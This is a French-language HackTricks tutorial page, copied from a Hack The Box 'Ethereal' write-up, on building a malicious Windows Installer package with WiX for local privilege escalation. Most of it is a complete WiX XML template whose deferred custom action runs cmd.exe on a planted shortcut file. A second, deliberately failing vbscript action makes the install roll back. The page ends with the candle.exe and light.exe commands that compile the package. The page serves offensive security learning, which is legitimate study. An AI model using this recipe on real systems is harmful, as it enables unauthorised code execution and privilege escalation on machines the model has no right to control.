hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
2023-06-03 13:10:46 +00:00

5.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Tutoriel copié depuis https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root
Afin de créer le msi, nous utiliserons wixtools, vous pouvez utiliser d'autres constructeurs de msi mais ils n'ont pas fonctionné pour moi.
Consultez cette page pour quelques exemples d'utilisation de wix msi.
Nous allons créer un msi qui exécute notre fichier lnk :

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

Nous utiliserons candle.exe de wixtools pour créer un objet wix à partir de msi.xml.

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

Ensuite, nous utiliserons light.exe pour créer le fichier msi à partir de l'objet wix :

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥